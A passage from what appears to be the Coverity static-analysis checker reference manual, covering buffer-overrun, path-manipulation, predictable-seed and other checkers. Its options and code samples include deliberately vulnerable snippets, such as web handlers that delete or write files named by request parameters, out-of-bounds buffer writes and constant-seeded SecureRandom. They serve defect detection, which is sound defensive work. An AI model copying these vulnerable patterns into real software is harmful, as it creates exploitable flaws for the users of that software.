OVERFLOW_BEFORE_WIDEN:check_types:(?:unsigned )?long
long|.*64.* (C and C++ only).
This checker option is automatically set to
.* if the --aggressiveness-level option of
cov-analyze is set to high.
OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:<boolean> - When true,
member functions and fields within the current class (C++, Java, C#) are treated
as "non-local" and not used as the basis for reporting a defect. This option has no effect when
check_nonlocals is true.Defaults to OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:false (all
languages).
OVERFLOW_BEFORE_WIDEN:general_operator_context:<boolean> - If
this option is set to true, the checker will
report defects on implicit widening casts of operands in addition, subtraction,
and boolean bitwise operations. These widening casts occur when the type of one
operand is wider than the other operand. Defaults to
OVERFLOW_BEFORE_WIDEN:general_operator_context:false (all
languages).
Example:
void foo(long long lw,int x, int y,int z)
{
long long ll;
ll = lw + (x*y); //Reported with general_operator_context
ll = (x*y)-lw; //Reported with general_operator_context
ll = (x*y)/lw; //Not reported with general_operator_context
z = lw + (x*y) >> 1; //Reported with general_operator_context
ll = x*(lw+y*z); ////Reported with general_operator_context
}This checker option is automatically set to
true if the --aggressiveness-level option of
cov-analyze is set to high.
OVERFLOW_BEFORE_WIDEN:ignore_types:<regex> - This option specifies a regular expression (Perl syntax)
to match against the destination type of the existing widening operation. A
defect will NOT be reported if the destination type matches
the specified regular expression, even if it matches the
check_types regular expression. Defaults to
OVERFLOW_BEFORE_WIDEN:ignore_types:s?size_t|off_t|time_t|__off64_t|ulong|.*32.*
(C and C++ only).
This checker option is automatically set to
^$ if the --aggressiveness-level option of
cov-analyze is set to high.
OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:<boolean> - If
this option is set to false, the checker will
only look for widening casts in certain contexts, such as assignment,
conditions, function arguments, and explicit casts, but it will not consider
implicit widening casts inside expressions in such contexts. However, if this
option is set to true, the checker will look for widening casts inside an
expression, and it will look into sub-expressions when the operands are in
addition, subtraction, boolean bitwise, and unary operations. Defaults to
OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:false (all
languages).
Example:
void foo(long long lw,int x, int y,int z)
{
long long ll;
ll = lw + (x*y); //Reported with relaxed_operator_context
ll = (x*y)-lw; //Reported with relaxed_operator_context
ll = (x*y)/lw; //Not reported with relaxed_operator_context
z = lw + (x*y) >> 1; //Not reported with relaxed_operator_context
ll = x*(lw+y*z); ////Not reported with relaxed_operator_context
}This checker option is automatically set to
true if the --aggressiveness-level option of
cov-analyze is set to medium.
OVERFLOW_BEFORE_WIDEN:report_intervening_widen:<boolean> - If
this option is set to true, a widening cast
between two multiplications, such as (long long)(x * x) * y, will
be treated as a defect. By default, such a widening cast is treated as
intentional (and not a defect) on the assumption that it is protecting the later
multiplication from overflow because the programmer knows that the first one
will not overflow. Defaults to
OVERFLOW_BEFORE_WIDEN:report_intervening_widen:false
(all languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
Supported Languages: C and C++
OVERLAPPING_COPY detects cases where data is copied to an overlapping location in an
undefined manner, such as with assignment (undefined unless the overlap is exact and the
types compatible) or memcpy (always undefined).
Enabled by default: OVERLAPPING_COPY is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
An OVERLAPPING_COPY defect shows a path where memory is copied between overlapping locations. It keeps track of pointers to tell if they point to overlapping locations, then reports if a copy happens, using assignment or memcpy.
This section provides one or more OVERLAPPING_COPY examples.
In this example, overlapping memory regions are copied using memcpy,
which has undefined behavior. Use memmove when copying potentially overlapping regions.
void badMemCpy(char *p) {
int *q = p + 2;
// Copying overlapping regions; should use "memmove".
memcpy(p, q, 3); //#defect#OVERLAPPING_COPY
}In this example, an object is assigned to another object with overlapping storage. The C standard
(C11 6.5.16.1/3) indicates that assigning objects with overlapping storage is undefined behavior unless
they overlap exactly and have compatible types. Here, this is an error because l and i have incompatible types.
struct S1 {
int i;
};
struct S2 {
long l;
};
void badOverlappingAssignment(void *p) {
struct S1 *s1 = (struct S1 *)p;
struct S2 *s2 = (struct S2 *)p;
// Defect: assigning overlapping objects
s2->l = s1->i; //#defect#OVERLAPPING_COPY
}This section describes one or more events produced by the OVERLAPPING_COPY checker.
equal - Indicates that 2 pointers point to the same location.
offset - Indicates that 2 pointers point to overlapping but not identical locations.
overlapping_assignment - Indicates an assignment occurs with potentially undefined semantics.
source_type - In case of overlapping_assignment with exact overlap, indicates the type of the source location.
target_type - In case of overlapping_assignment with exact overlap, indicates the type of the target location.
overlapping_copy - Indicates that memcpy is called with overlapping memory locations.
Supported Languages: C, C++, Objective-C, Objective-C++
OVERRUN finds many instances where buffers are accessed out of bounds. Improper buffer access can corrupt memory and cause process crashes, security vulnerabilities and other severe system problems. OVERRUN looks for out-of-bounds indexing into both heap buffers and stack buffers.
Enabled by default: OVERRUN is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more OVERRUN examples.
The following example shows a buffer overrun
defect when the buffer size is fixed. For the defect in this example to appear in the
analysis results, you need to add
OVERRUN:check_nonsymbolic_dynamic:true to the analysis.
void bad_heap() {
int *buffer = (int *) malloc(10 * sizeof(int)); // 40 bytes
int i = 0;
for(; i <= 10; i++) { // Defect: writes buffer[10] and overruns memory
buffer[i] = i;
}
}The following examples show a buffer overrun error when the buffer size is determined at runtime.
void test(int i) {
int n;
char *p = malloc(n);
int y = n; // Valid indices are buffer[0] to buffer[y - 1]
p[y] = 'a'; // Defect: writing to buffer[y] overruns local buffer
}struct s {
int a;
int b;
} s1;
void test() {
int n, i;
struct s *p = malloc(n * sizeof(struct s));
if (i <= n) // "i" can be equal to n
p[i] = s1; // Defect: overrun of buffer p
}This checker reports a dereference (local or interprocedural) as an overrun defect if
either bound of the offset (plus element size) exceeds the upper bound of the buffer
size. In accordance with the Coverity evidence-based reporting approach, the checker does
not report a defect when the offset (plus element size) might exceed the upper bound of
the buffer size. In other words, it does not report a defect simply because the offset
does not have an upper bound. Instead, it reports a defect when the current program path
imposes a bound on a pointer offset, and that offset is bad. For example, the checker
reports the following because the programmer provided evidence that n might
be 99:
void access_dbuffer(int *x, int n) {
x[n-1] = 1;
}
void caller(int n) {
int array[10];
if (n < 100) {
access_dbuffer(array, n); // defect
}
}However, the checker does not report the following as a defect because the programmer
provides evidence that i might be 9, but not necessarily
10:
void foo() {
int array[10];
int i = get();
if (i > 8) {
array[i] = 1;
}
}}This section describes one or more OVERRUN options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
OVERRUN:allow_cond_call_on_parm:<boolean> - When
this option is true, the checker will
report cases where a buffer parameter is indexed by another parameter even
though the index that is passed to a function in a conditional could potentially
check its range. Defaults to false. Defaults to
OVERRUN:allow_cond_call_on_parm:false
Example:
int foo(int);
void default_check_ignore(char *b, int s) {
if (foo(s)) // assume foo() does no range check on s
return;
b[s] = 'a'; // array access at b[s]
}
void test() {
char *buffer = malloc(128 * sizeof(char));
default_check_ignore(buffer, 256); // potential overflow at buffer[256]
}OVERRUN:allow_range_check_on_parm:<boolean> -
When this option is true, the checker
will report defects when a buffer parameter is indexed by another parameter,
even though the index has been previously range-checked against some variable
(for example, a global). Defaults to
OVERRUN:allow_range_check_on_parm:false
Example:
int g = 1000;
void callee(char *x, int n) {
if (n < g) {
x[n] = 0;
}
}
void caller() {
char buf[10];
// checking 10 against 1000 does not guard against overrun...
callee(buf, 10);
}OVERRUN:allow_strlen:<boolean> - When this
option is true, the checker will
analyze strlen function to determine buffer size. This
option is enabled by default when the allow_symbol option is
set to true. Defaults to
OVERRUN:allow_strlen:true
OVERRUN:allow_symbol:<boolean> - When this option option is true, the checker uses
symbolic analysis to find array overruns, even when the size of the array is
determined at run time. Defaults to
OVERRUN:allow_symbol:true
Example:
void test(int n, int i) {
int *x = new int[n];
if (i <= n) // OVERRUN when i == n
x[i] = 1;
delete[] x;
}OVERRUN:check_nonsymbolic_dynamic:<boolean> -
When this option is true, the checker
will report overruns of arrays that are dynamically allocated but with fixed
allocation sizes. These reports have a high false positive rate because the
analysis often cannot determine the proper correlation between allocation sites
and array accesses in code that uses this technique. Defaults to
OVERRUN:check_nonsymbolic_dynamic:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
OVERRUN:report_underrun:<boolean> - When this
option is true, the checker reports
when an array is accessed with a negative index. Defaults to
OVERRUN:report_underrun:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
Example:
void underrun() {
int array[10];
// reported if 'report_underrun' is enabled
array[-1] = 1;
}OVERRUN:strict_arithmetic:<boolean> - When this
option is true, the checker reports
when pointer arithmetic yields an address that is before the first byte or after
the last byte+1 of the buffer. Using this address as a loop bound will typically
result in an overrun or underrun issue. Defaults to
OVERRUN:strict_arithmetic:true
Example:
void arith() {
int array[10];
// not reported, no bug here
std::sort(array, array+10); // std::sort will access array[9]
// reported if 'strict_arithmetic' is enabled
std::sort(array, array+11); // std::sort will access array[10]
}OVERRUN:strict_member_boundaries:<boolean> -
When this option is true, the checker
reports when adjacent arrays within a struct are used as a single large array
(the C language does not guarantee that this is safe). Defaults to
OVERRUN:strict_member_boundaries:true
Example:
struct S {
int x[10];
int y[20];
};
void member_boundaries() {
struct S s;
// reported if 'strict_member_boundaries' is enabled
memset(&s.x[0], 0, sizeof(int)*30); // access s.x[29]
}This section describes one or more events produced by the OVERRUN checker.
access_dbuff_const - A called function calls
another function, which indexes a provided array at a
constant offset, for example:
void callee1(int *x) {
x[10] = 1;
}
void callee2(int *x) {
callee1(x); //Calling "callee1(int *)" indexes array "x" at byte position 40.
}
void caller() {
int x[5];
callee2(x);
}alias - An existing pointer to a buffer is assigned to
another variable.
alloc_strlen - A potential defect. A buffer is allocated to
match the length of a string but omits space for a terminating null
character.
const_string_assign - A string literal is assigned to a
variable.
overrun-buffer-arg - In the function, a buffer was indexed at
an out-of-bounds position. Both the buffer and index were passed to the
function.
overrun-buffer-val - In the function, a buffer was indexed at
an out-of-bounds position. The buffer was passed to the function and a local
variable was used as the index.
overrun-local - In the function, a buffer was indexed at an
out-of-bounds position. Both the buffer and index were local variables.
sprintf_overrun - The sprintf() method is called
with a string whose length is greater than (or equal to) the size of the
destination buffer.
strcpy_overrun - The strcpy() method is called
with a string whose length is greater than (or equal to) the size of the
destination buffer.
strlen_assign - The result of the call to
strlen() is assigned to a variable.
symbolic_assign - A value correlated to the size of a buffer
is assigned to a variable.
symbolic_compare - A variable whose value is correlated to
the size of a buffer is compared with another variable.
var_assign - The result of dynamic memory allocation is
assigned to a variable.
The following primitive works with this checker to imbue properties without involving the RESOURCE_LEAK checker.
__coverity_mark_buffer_size__
The following example shows where to insert the primitive to mark a function that doesn't allocate memory.
char* overrun_source(int n) {
static char *p;
__coverity_mark_buffer_size__(p, n);
return p;
} Supported Languages: C, C++, Swift
PARSE_ERROR is not a typical checker. Rather, when the Coverity compiler cannot parse the source code, PARSE_ERROR will create a defect report containing the parse error message. These parsing errors usually occur because a compiler is misconfigured. When they occur, you need to review the compiler configurations and the Coverity build log. When the compiler cannot recover from a parse error, the entire compilation unit is unavailable for analysis.
This checker is a type of parse warning checker. For additional details about it, see Section 4.152, “PW.*, RW.*, SW.*: Compiler Warnings”.
Disabled by Default: You can
view unrecoverable compiler warning errors in Coverity Connect by adding the option
--enable PARSE_ERROR to the cov-analyze
command.
Supported Languages: C, C++, Swift
Unlike other Coverity checkers, compiler warning checkers only expose and filter warnings from the Coverity compiler and do not use interprocedural modeling. In other words, parse warning checkers perform local analyses that do not consider the behavior of called functions.
Enablement: Default settings are managed through a configuration file. For details and enablement/disablement options, see Section 1.3.2, “Enabling Compilation Warning checkers (PW.*, RW.*, SW.*)”.
C/C++: Disabled by default.
Swift: Enabled by default.
The following PW.* checker is set to true if the
--aggressiveness-level option of cov-analyze is
set to medium (or to high):
PW.DECLARED_BUT_NOT_REFERENCED
The following PW.* checkers are set to true if the
--aggressiveness-level option of cov-analyze is
set to high:
PW.ALREADY_DEFINED PW.BAD_INITIALIZER_TYPE PW.BAD_RETURN_VALUE_TYPE PW.CLASS_WITH_OP_DELETE_BUT_NO_OP_NEW PW.CLASS_WITH_OP_NEW_BUT_NO_OP_DELETE PW.ILP64_WILL_NARROW PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS PW.INCOMPATIBLE_OPERANDS PW.INCOMPATIBLE_PARAM PW.INTEGER_TRUNCATED PW.MIXED_ENUM_TYPE PW.NESTED_COMMENT PW.NO_CORRESPONDING_DELETE PW.NO_CORRESPONDING_MEMBER_DELETE PW.NO_CTOR_BUT_CONST_OR_REF_MEMBER PW.NON_CONST_PRINTF_FORMAT_STRING PW.NONSTD_VOID_PARAM_LIST PW.NOT_COMPATIBLE_WITH_PREVIOUS_DECL PW.POINTER_CONVERSION_LOSES_BITS PW.SET_BUT_NOT_USED
When you run cov-build, warning information is stored in the
intermediate directory. If you enable parse warnings, checkers expose these warnings as
defects during the analysis process.
A variety of problems are found by parse warnings. Parse warnings can show simple problems in the code, or can be signs of deeper defects. Parse warnings have the prefix PW.
Parse warnings checkers are documented in the comments of
the sample configuration file,
(see
Section E.2, “Parse Warning Configuration File”).<install_dir_sa>/config/parse_warnings.conf.sample
Recovery warnings have the prefix RW. The Coverity compiler can recover from some parse errors. If the parse error is unrecoverable, see PARSE_ERROR. The function that caused the parse error is not analyzed. When the compiler recovers, a recovery warning occurs on the line of the recovery. For the functions that are not available for analysis, the recovery warning RW.ROUTINE_NOT_EMITTED also occurs.
The compiler encounters non-standard code, but can provide a reasonable approximation of what was intended by the code. Semantic warnings can indicate that code is non-portable or could easily be misunderstood by other developers. Semantic warnings can also result in a loss of fidelity if the Coverity interpretation of the code is different then that of the native compiler. Coverity recommends fixing semantic warnings. Semantic warnings have the prefix SW.
This section provides one or more PW examples.
The PW.INCLUDE_RECURSION warning reports recursive header file problems that can cause the code to not compile, or that cause incorrect run-time behavior. Code might not compile if there is a dependency cycle in two header files that are included. Incorrect run-time behavior can occur because of function overloading, for example. Also, recursive include files can be difficult to maintain and problems difficult to fix.
For example, the following header files a.h and
b.h are included by c.cc.
// a.h
#ifndef A_H // multiple-inclusion guard
#define A_H
#include "b.h" // class B, print(B*)
class A {
public:
B *b;
void pb() { print(b); }
};
void print(A *) { printf("print(A*)"); }
#endif // A_H// b.h
#ifndef B_H
#define B_H
#include "a.h" // class A, print(A*)
class B {
public:
A *a;
void pa() { print(a); }
};
void print(B *) { printf("print(B*)"); }
#endif // B_H The following code, c.cc, will not compile because
b.h includes a.h, which defines class
A, but because of a dependency cycle, only one of class
A or class B can be processed first,
at which time the other class must be undefined.
// c.cc
#include <stdio.h> // printf
void print(void *) { printf("print(void*)"); }
#include "a.h" // class A
#include "b.h" // class B
int main()
{
(new A)->pb();
(new B)->pa();
return 0;
}If you try to compile this code with gcc 4.1.1, you will receive the following confusing error:
b.h:8: error: ISO C++ forbids declaration of 'A' with no type
b.h:8: error: expected ';' before '*' token
If you add the following forward declaration for class A, the code will compile, but you will get unexpected output.
// b.h
#ifndef B_H
#define B_H
#include "a.h" // class A, print(A*)
class A; //forward declaration
class B {
public:
A *a;
void pa() { print(a); }
};
void print(B *) { printf("print(B*)"); }
#endif // B_HYou would expect the program to print the following output:
print(B*) print(A*)
But instead, the following output is printed because print(A*) is
still not visible, but print(void*) is visible, and so that
function is selected as the implementation of B::pa:
print(B*) print(void*)
These problems can all be fixed if you avoid cycles in the include structure. The PW.INCLUDE_RECURSION warning finds such cycles.
This section describes one or more events produced by the PW checker.
Main event : The warning text, which appears above the line of cause that is causing the warning.
Primary file event : The name of the file that was being compiled if the warning appears in a different file. This event, if present, follows the main event.
Caret line : A caret character (^) in the column that triggered the warning. This event appears below the line of code that caused the warning.
Supported Languages: C, C++, Objective-C, Objective-C++
PASS_BY_VALUE finds instances of function parameters
whose types are too big (by default, over 128 bytes). To avoid this defect, such
parameters should be passed as pointers (in C) or as references (in C++). The checker
does not report a defect for a write to a parameter because the write might be
intentional. However, for C++ code, the checker does report a defect if a
catch statement for a pass-by-value exception object is bigger than 64
bytes.
Passing by value is not necessarily a defect but there can be a performance loss because of the amount of data copied. You can use the checker options to tune thresholds that determine when errors are reported (see Section 4.153.3, “Options”).
Although an incorrect pass-by-value should never be reported, the passed size might
not be large enough to warrant changing the code. If this
is the case, you can use a code annotation to
suppress a pass_by_value event.
Enabled by default: PASS_BY_VALUE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more PASS_BY_VALUE examples.
struct big {
int a[20];
int b[20];
int c[20];
};
void test(big b) { // Warning: passing by value, 240 bytes
}
struct exn {
const char str[128];
int code;
};
void foo() {
try {
//...
} catch(exn e) { // Warning, catch by value, 132 bytes
//...
}
}
This section describes one or more PASS_BY_VALUE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
PASS_BY_VALUE:catch_threshold:<bytes> - This option specifies the maximum size of a
catch parameter. When a catch parameter is larger, the checker will report a
defect. Defaults to
PASS_BY_VALUE:catch_threshold:64 (64
bytes).
PASS_BY_VALUE:size_threshold:<bytes> - This option specifies the maximum size of a
function parameter. When a parameter is larger, the checker will report a
defect. Defaults to
PASS_BY_VALUE:size_threshold:128 (128
bytes).
PASS_BY_VALUE:unmodified_threshold:<bytes> - This
option specifies the maximum size
of a function parameter that is not modified inside the function. When an
unmodified parameter is larger, the checker will report a defect. Defaults to
PASS_BY_VALUE:unmodified_threshold:128 (128
bytes).
Supported Languages: C#, Java, JavaScript, PHP, Python, Swift, Visual Basic
PATH_MANIPULATION detects many cases in which a filename or path is constructed unsafely.
An attacker who has control over part of the filename or path might be able to
maliciously alter the overall path and access, modify, or test the existence of critical
or sensitive files. Particular concerns are the ability to perform directory traversal
in a path (for example, ../) or to specify absolute paths.
These types of vulnerabilities can be prevented by proper input validation. The user input should be whitelisted to contain only the expected values or characters.
The PATH_MANIPULATION checker uses the global trust model to determine whether to trust
servlet inputs, the network data, filesystem data, or database information. You can use the --trust-* and/or
--distrust-* options to
cov-analyze
to modify the current settings.
Disabled by default: PATH_MANIPULATION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
For Swift, PATH_MANIPULATION is enabled by default.
Web application security checker enablement: To enable PATH_MANIPULATION
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable PATH_MANIPULATION
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
Python support: Security checkers are supported for Python 2.7.x only.
A PATH_MANIPULATION defect shows a dataflow path by which untrusted (tainted) data is used to construct a filename, filesystem path, or URI. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program: for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used in a filesystem API. In the absence of proper validations, the data might cause the program to read, leak information about, write, delete, move, or otherwise alter an unexpected file.
This section provides one or more PATH_MANIPULATION examples.
The following example shows a vulnerability in which an HTTP request parameter is used to construct an unsafe file path.
using System;
using System.IO;
using System.Web;
public class PathManipulation {
void Test(HttpRequest req) {
String attachment = req["attachment"];
File.Delete(@"c:\tmp\attachments\" + attachment);
//Defect
}
}The following example shows a PATH_MANIPULATION vulnerability in a Spring 3
controller. Here, the user parameter is used to construct and
write to an unsafe path.
@Controller
class MyController {
private final String WEBDATA_ROOT = "/home/www/data/";
@RequestMapping("/log_success")
public String logSuccessHandler(@RequestParam("user") String user) {
String loc = WEBDATA_ROOT + "logs/" + user;
try (FileWriter fw = new FileWriter(loc, true)) {
fw.write("Success: " + new Date() + "\n");
} catch (IOException e) { }
return "redirect:/";
}
}The following code example shows a vulnerable Node.js Web application using the Express framework.
const express = require("express");
const app = express();
app.get("/",
function run(req, res, next) { // Defect here.
const file = req.query.file;
const data = new Date() + " : " + req.query.data;
require("fs").appendFile(
file, // attacker-controlled data used to determine file name
data,
(err) => {
console.log(`Append to '${file}' ` +
(err ? `failed: ${err}` : 'succeeded.'));
});
res.send("Done");
});
app.listen(1337, function() {
console.log("Express listening...");
});Example exploit:
http://127.0.0.1:1337/?file=example&data=anything+you+want
The following example shows a vulnerability in which an HTTP request parameter is used to construct an unsafe directory name.
<?php $user = $_GET['username']; $dir_name = "$user-pictures"; eio_mkdir($dir_name, 0300, EIO_PRI_DEFAULT); // Defect here ?>
The following Python code (which uses the Django framework) allows tainted data from the HTTP request to determine the directory to change to.
import os
from django.conf.urls import url
def django_view(request):
os.chdir(request.body);
urlpatterns = [
url(r'index', django_view)
] The following example demonstrates a defect when the database is distrusted.
import Foundation
func pressedButton(_ sender: Any) {
let store = NSUbiquitousKeyValueStore()
let code: String = store.string(forKey: "ItemCode")!
let d = FileManager.default.enumerator(atPath: code)!
print(d)
}The following Visual Basic example shows a vulnerability in which an HTTP request parameter is used to delete a file. The user has total control over the path of the file to delete.
Sub DeleteUnsafeFile(request As HttpRequest)
' Read untrusted data from a user HTTP request
Dim untrusted as String = request("delete_file")
' Delete a file without any check
File.delete(untrusted) 'DEFECT
End SubIn the next example, the user-controllable string cannot include a path traversal character, so the filename is limited to the intended filesystem directory. No defect is reported.
Sub DeleteSafeFile(request As HttpRequest)
' Read untrusted data from a user HTTP request
Dim id as String = request("file_id")
' Check that the suffix does not contain any directory traversal
If Not id.Contains("\") Then
File.delete("C:\Users\Coverity\Data_"+id+".dat") 'SAFE
End If
End SubModels and annotations can improve analyses with this checker in the following cases:
If the analysis misses defects because it does not treat certain data as tainted, see discussion of the Tainted annotation (refer to Section 6.2.2.1, “Tainted and NotTainted Attributes” for C# and Visual Basic, or @Tainted and @NotTainted Annotations for Java).
Also, for instructions on marking method return values, parameters, and fields as tainted, see Section 6.2.1.2, “Modeling Sources of Untrusted (Tainted) Data” for C# and Visual Basic, or Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data” for Java.
If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, refer to [NotTainted] / <NotTainted()> Attributes for C# and Visual Basic, or @NotTainted for Java.
See also Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”. For further information on models and annotations in general, refer to Section 6.2, “Models and Annotations in C# or Visual Basic” or Section 6.3, “Models and Annotations in Java”.
This section describes one or more PATH_MANIPULATION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
PATH_MANIPULATION:distrust_all:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this option to true is equivalent to setting
all trust_* checker options for this checker to false. Defaults to
PATH_MANIPULATION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of the
cov-analyze command is set to high.
PATH_MANIPULATION:trust_command_line:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this option to false causes the analysis to treat command line
arguments as tainted. Defaults to
PATH_MANIPULATION:trust_command_line:true for all
languages. Setting this checker option will override the global
--trust-command-line and
--distrust-command-line command line options.
PATH_MANIPULATION:trust_console:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from the console
as tainted. Defaults to
PATH_MANIPULATION:trust_console:true for all
languages. Setting this checker option will override the global
--trust-console and --distrust-console
command line options.
PATH_MANIPULATION:trust_cookie:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
PATH_MANIPULATION:trust_cookie:false for all
languages. Setting this checker option will override the global
--trust-cookie and --distrust-cookie
command line options.
PATH_MANIPULATION:trust_database:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from a database
as tainted. Defaults to
PATH_MANIPULATION:trust_database:true for all
languages. Setting this checker option will override the global
--trust-database and --distrust-database
command line options.
PATH_MANIPULATION:trust_environment:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from environment variables as tainted. Defaults to
PATH_MANIPULATION:trust_environment:true for all
languages. Setting this checker option will override the global
--trust-environment and
--distrust-environment command line options.
PATH_MANIPULATION:trust_filesystem:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from the filesystem as tainted. Defaults to
PATH_MANIPULATION:trust_filesystem:true for all
languages. Setting this checker option will override the global
--trust-filesystem and
--distrust-filesystem command line options.
PATH_MANIPULATION:trust_http:<boolean> - [JavaScript, PHP,
and Python only] Setting this Web application security
option to false causes the analysis to treat data from HTTP
requests as tainted. Defaults to
PATH_MANIPULATION:trust_http:false for all
languages. Setting this checker option will override the global
--trust-http and --distrust-http command
line options.
PATH_MANIPULATION:trust_http_header:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from HTTP headers as tainted. Defaults to
PATH_MANIPULATION:trust_http_header:false for all
languages. Setting this checker option will override the global
--trust-http-header and
--distrust-http-header command line options in the
Coverity 2018.09 Command Reference.
PATH_MANIPULATION:trust_network:<boolean> - [JavaScript,
PHP, Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from the network
as tainted. Defaults to
PATH_MANIPULATION:trust_network:false for all
languages. Setting this checker option will override the global
--trust-network and --distrust-network
command line options.
PATH_MANIPULATION:trust_rpc:<boolean> - [JavaScript, PHP,
Python, Swift only] Setting this Web application security
option to false causes the analysis to treat data from RPC requests
as tainted. Defaults to
PATH_MANIPULATION:trust_rpc:false for all
languages. Setting this checker option will override the global
--trust-rpc and --distrust-rpc command
line options.
PATH_MANIPULATION:trust_system_properties:<boolean> -
[JavaScript, PHP, Python, Swift only] Setting this Web application security option to false causes the analysis to treat data
from system properties as tainted. Defaults to
PATH_MANIPULATION:trust_system_properties:true for all
languages. Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
PREDICTABLE_RANDOM_SEED
reports a defect when a seed is used to construct a secure Random Number Generator (RNG)
and the output of the RNG is used for cryptographic purposes. The seed can be a constant
(such as a constant string or integer) or a system time that is returned by
java.lang.System.currentTimeMillis or
java.util.Date.getTime. Because many secure RNGs are implemented using
a pseudo-random number generator, the use of such seeds to construct the RNG will
invalidate the use of the output for cryptographic purposes.
Disabled by default: PREDICTABLE_RANDOM_SEED is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable PREDICTABLE_RANDOM_SEED
along with other Web application checkers,
use the --webapp-security
option.
Android security checker enablement: To enable PREDICTABLE_RANDOM_SEED
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
A PREDICTABLE_RANDOM_SEED defect demonstrates the use of a predictable value as seed for a pseudo-random number generator (PRNG). The PRNG will generate a predictable sequence of values and is not fit for use in secure applications.
The first event describes the predictable value, which can be one of these:
An integer or string literal.
An array containing any literals.
The subsequent events identified by the checker describe the assignment through one or more variables, and its eventual use as a PRNG seed.
This section provides one or more PREDICTABLE_RANDOM_SEED examples.
This example uses a constant integer.
public class PredictableRandomSeed{
public static SecureRandom getRandom() {
SecureRandom sr= null;
try {
long sd = 1234567; //sd contains constant integer
sr = new SecureRandom();
sr.setSeed(sd); //setting sd that is constant integer as seed for sr
} catch (Exception e) {
return null;
}
return sr;
}
}This example uses java.lang.System.currentTimeMillis.
long s = System.currentTimeMillis(); SecureRandom sr1 = new SecureRandom(); sr1.setSeed(s); // Defect here.
The following method is a model primitive that marks its parameter as used as a seed for a secure random seed generator.
com.coverity.primitives.SecurityPrimitives
.secure_random_seed_sink(Object seed)To generate a model from the following source code, you need to run
cov-make-library on it.
// User model
import com.coverity.primitives.SecurityPrimitives;
class RNG {
public void setSeed(String seed) {
SecurityPrimitives.secure_random_seed_sink(seed);
}
}The checker uses the resulting model file to find a defect in the following source code.
// Code under analysis
void setUpRNG(RNG rng) {
rng.setSeed("constant seed"); //Defect.
}Supported Languages: C#, Java, Swift. Visual Basic
The PROPERTY_MIXUP checker detects property getters or setters that
return or assign one class member when their name corresponds to a different class
member. This error pattern might be the result of copying code or of an incomplete
attempt to rename or refactor code. A method is considered a getter or setter if it is
part of a property definition or if its name is prefixed with get or
set. The checker ignores methods with complex behavior.
Enabled by default: PROPERTY_MIXUP is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
A PROPERTY_MIXUP defect shows a mismatch where a property getter or
setter returns or assigns a suspicious value. As evidence that this was not intended, a
suggestion event indicates a class member name that more closely
matches the name of the method. Further evidence of a mixup might include another getter
or setter name that already corresponds to the mismatched value. These methods are
indicated with an existing_getter or existing_setter
event.
This section provides one or more PROPERTY_MIXUP examples.
An example of an incorrect getter and setter:
class PetInventory {
// Members:
private int cats;
private int dogs;
// Properties:
public int Cats {
get { return cats; }
set { cats = value; }
}
public int Dogs {
get { return cats; } // PROPERTY_MIXUP defect
set { cats = value; } // PROPERTY_MIXUP defect
}
}An example of an incorrect getter:
class RGBColor {
// Members:
private int red_;
private int green_;
private int blue_;
// Getters:
public int getRed() { return red_; }
public int getGreen() { return green_; }
public int getBlue() { return green_; } // PROPERTY_MIXUP defect
}An example of an incorrect setter:
class Point {
// Members:
double x, y;
// Getters:
double getX() {
return x;
}
double getY() {
return y;
}
// Setters:
void setX(double val) {
x = val;
}
void setY(double val) {
x = val; // PROPERTY_MIXUP defect
}
}An example of an incorrect setter:
class CashRegister {
// Members:
private var dollars_: Int = 0
private var cents_: Int = 0
// Properties:
public var Dollars: Int {
get {
return dollars_
}
set(value) {
dollars_ = value
UpdateIncome()
}
}
public var Cents: Int {
get {
return cents_
}
set(value) {
dollars_ = value // PROPERTY_MIXUP defect
UpdateIncome()
}
}
func UpdateIncome() {
// Do something...
}
}This section describes one or more PROPERTY_MIXUP options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
